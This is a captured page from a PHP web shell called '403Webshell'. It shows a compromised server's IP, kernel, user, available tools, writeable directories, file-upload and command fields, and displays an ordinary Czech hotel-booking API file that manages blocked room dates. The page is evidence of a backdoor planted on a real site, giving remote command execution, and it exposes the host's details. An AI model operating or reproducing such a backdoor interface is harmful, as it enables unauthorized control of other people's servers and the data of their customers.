403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.215
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /volume1/web/hotel_jservices_cz/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /volume1/web/hotel_jservices_cz/api/blokovane.php
<?php
// ============================================================
//  Hotel DEMO — api/blokovane.php
//  CRUD blokovaných termínů pokojů (admin a manažer)
// ============================================================

$user   = auth_check();
$action = $_GET['action'] ?? '';
$input  = json_decode(file_get_contents('php://input'), true) ?? [];

auth_require_role($user, ['admin', 'manazer']);

match ($action) {
    'seznam'   => bl_seznam(),
    'vytvorit' => bl_vytvorit($user, $input),
    'upravit'  => bl_upravit($user, (int)($_GET['id'] ?? 0), $input),
    'smazat'   => bl_smazat($user, (int)($_GET['id'] ?? 0)),
    default    => api_response(false, null, 'Neznámá akce', 400),
};

// ------------------------------------------------------------
//  SEZNAM
// ------------------------------------------------------------
function bl_seznam(): never {
    $pokoj_id = (int)($_GET['pokoj_id'] ?? 0);
    $od       = $_GET['datum_od'] ?? date('Y-m-d');
    $do       = $_GET['datum_do'] ?? date('Y-m-d', strtotime('+3 months'));

    $where  = ['b.datum_do >= ?', 'b.datum_od <= ?'];
    $params = [$od, $do];

    if ($pokoj_id) {
        $where[]  = 'b.pokoj_id = ?';
        $params[] = $pokoj_id;
    }

    $sql_where = implode(' AND ', $where);

    $blokovane = db_rows(
        "SELECT b.*,
                p.cislo AS pokoj_cislo,
                COALESCE(p.nazev, CONCAT('Pokoj ', p.cislo)) AS pokoj_nazev,
                CONCAT(u.jmeno, ' ', u.prijmeni) AS vytvoril_jmeno
         FROM blokovane_terminy b
         JOIN pokoje p ON p.id = b.pokoj_id
         LEFT JOIN uzivatele u ON u.id = b.vytvoril_id
         WHERE {$sql_where}
         ORDER BY b.datum_od ASC",
        $params
    );

    api_response(true, $blokovane);
}

// ------------------------------------------------------------
//  VYTVOŘENÍ
// ------------------------------------------------------------
function bl_vytvorit(array $user, array $input): never {
    [$pokoj_id, $datum_od, $datum_do, $duvod] = _bl_validuj($input);

    // Varování pokud v termínu existují rezervace
    $rezervace = db_rows(
        "SELECT r.id, r.jmeno, r.prijmeni, r.datum_prijezdu, r.datum_odjezdu
         FROM rezervace r
         WHERE r.pokoj_id = ? AND r.stav != 'zrusena'
           AND r.datum_prijezdu < ? AND r.datum_odjezdu > ?",
        [$pokoj_id, $datum_do, $datum_od]
    );

    if (!empty($rezervace) && empty($input['force'])) {
        api_response(false, [
            'konflikty' => $rezervace,
        ], 'V tomto termínu existují aktivní rezervace. Odešlete znovu s force=true pro potvrzení.', 409);
    }

    $id = db_insert(
        'INSERT INTO blokovane_terminy (pokoj_id, datum_od, datum_do, duvod, vytvoril_id)
         VALUES (?, ?, ?, ?, ?)',
        [$pokoj_id, $datum_od, $datum_do, $duvod, $user['id']]
    );

    api_response(true, ['id' => $id]);
}

// ------------------------------------------------------------
//  ÚPRAVA
// ------------------------------------------------------------
function bl_upravit(array $user, int $id, array $input): never {
    if (!$id) api_response(false, null, 'Chybí ID', 400);
    if (!db_val('SELECT 1 FROM blokovane_terminy WHERE id = ?', [$id])) {
        api_response(false, null, 'Blokace nenalezena', 404);
    }

    [$pokoj_id, $datum_od, $datum_do, $duvod] = _bl_validuj($input);

    db_query(
        'UPDATE blokovane_terminy SET pokoj_id=?, datum_od=?, datum_do=?, duvod=? WHERE id=?',
        [$pokoj_id, $datum_od, $datum_do, $duvod, $id]
    );

    api_response(true, null);
}

// ------------------------------------------------------------
//  SMAZÁNÍ
// ------------------------------------------------------------
function bl_smazat(array $user, int $id): never {
    if (!$id) api_response(false, null, 'Chybí ID', 400);
    if (!db_val('SELECT 1 FROM blokovane_terminy WHERE id = ?', [$id])) {
        api_response(false, null, 'Blokace nenalezena', 404);
    }

    db_query('DELETE FROM blokovane_terminy WHERE id = ?', [$id]);
    api_response(true, null);
}

// ------------------------------------------------------------
//  INTERNÍ — validace
// ------------------------------------------------------------
function _bl_validuj(array $input): array {
    $pokoj_id = (int)($input['pokoj_id'] ?? 0);
    $datum_od = trim($input['datum_od'] ?? '');
    $datum_do = trim($input['datum_do'] ?? '');
    $duvod    = trim($input['duvod'] ?? '');

    if (!$pokoj_id) api_response(false, null, 'Vyberte pokoj.', 400);
    if (!$datum_od) api_response(false, null, 'Zadejte datum od.', 400);
    if (!$datum_do) api_response(false, null, 'Zadejte datum do.', 400);
    if ($datum_od >= $datum_do) {
        api_response(false, null, 'Datum do musí být po datu od.', 400);
    }
    if (!db_val('SELECT 1 FROM pokoje WHERE id = ?', [$pokoj_id])) {
        api_response(false, null, 'Pokoj nenalezen.', 400);
    }

    return [$pokoj_id, $datum_od, $datum_do, $duvod ?: null];
}

Youez - 2016 - github.com/yon3zu
LinuXploit